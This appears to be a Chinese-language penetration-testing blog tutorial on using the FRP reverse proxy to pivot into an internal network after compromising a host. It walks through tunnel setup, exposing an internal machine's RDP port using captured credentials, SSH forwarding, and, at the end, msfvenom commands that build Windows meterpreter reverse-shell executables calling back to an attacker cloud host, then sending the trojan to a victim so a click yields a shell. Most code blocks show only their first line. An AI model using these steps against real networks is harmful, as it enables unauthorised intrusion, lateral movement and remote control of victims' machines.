学习与坐禅相似,须有一颗恒心!
简介:
1 | FRP(Fast Reverse Proxy) 是一款简单,好用,稳定的隧道工具。FRP 使用 Go 语言开发,它是一款高性能的反向代理应用,可以轻松地进行内网穿透,对外网提供服务。 |
FRP中文官方教程:
1 | https://github.com/fatedier/frp/blob/master/README_zh.md |
使用FRP建立隧道:
1 | 现在有这么一个场景,我们获得了一个位于内网的通过NAT方式对外提供服务的主机的权限,现在我们需要对其所在的内网继续进行渗透。 |
1 | VPS作为FRP的服务器端,地址为:100.20.14.14 |
linux环境下安装FRP
1 | wget https://github.com/fatedier/frp/releases/download/v0.31.2/frp_0.31.2_linux_amd64.tar.gz |
windows环境下安装FRP:
1 | https://github.com/fatedier/frp/releases/download/v0.31.2/frp_0.31.2_windows_amd64.zip |
文件解压之后,有这么几个主要的文件:
1 | frps:服务器端运行文件 |
配置服务器端:
1 | vim frps.ini |
保存然后启动服务
1 | #前台启动 |
后台启动:
1 | nohup ./frps -c frps.ini & |
配置客户端:
编辑frpc.ini
1 | [common] |
在客户端运行,我这里客户端为windows主机:
1 | frpc.exe -c frpc.ini |
连接之后,即会有日志传出
我的拓扑图大致如下:
192.168.200.128为我的攻击机kali的ip,处于公网中(做实验所以暂定为公网)
192.168.200.131为边界windows服务器的公网地址(做实验所以暂定为公网),这个主机也有另一个网卡为192.168.150.129,这个网卡位于内网中
192.168.150.130位内网主机centos7服务器的ip
也可以通过浏览器访问刚刚在配置文件中指定的端口
我们这次设置的代理为socks5 192.168.200.128 10000
使用FRP映射内网的WEB服务
现在有个场景,位于内网的主机需要对外提供web服务,于是将内网主机的80端口映射到公网主机的80端口
这样我们就可以将192.168.150.129的80端口转发到192.168.200.128这个主机的80端口上啦,那么只需要访问192.168.200.128的80端口即可
服务端frps.ini的配置如下:
1 | [common] |
客户端frpc.ini的配置如下:
1 | [common] |
搭建成功
那么便可
以通过访问192.168.200.128的80端口,即会把流量转发到192.168.150.129的80端口上
利用FRP映射3389端口
现在有这么一个场景,我们获得了位于内网的一台主机的权限,并且知道了他的登录用户名和密码。他的3389端口只对内网开放,现在我们需要将该主机的3389端口映射到公网我们的VPS的3389端口,那样,我们连接我们VPS的3389端口就相当于连接内网主机的3389端口了。
服务端配置:
1 | [common] |
客户端配置:
1 | [common] |
FRP实现SSH端口转发
客户端frpc.ini
1 | [common] |
服务端:
1 | [common] |
MSF配合frp
阿里云主机启动frps
配置如下:
1 | vim frps.ini |
msf生成木马,lhost为kali的地址:
1 | msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.200.128 LPORT=4444 -f exe > haha.exe |
kali中设置为服务端规则
1 | [common] |
启动frpc: ./frpc -c frpc.ini
kali制作木马,lhost执行阿里云地址,lport为刚刚设置的frpc.ini的remote_port端口
1 | msfvenom -p windows/meterpreter/reverse_tcp lhost=你的云主机地址 lport=6000 -f exe x>haha.exe |
把木马发给内网主机,然后kali设置监听
1 | msfconsole |
对方一点击即可获取到shell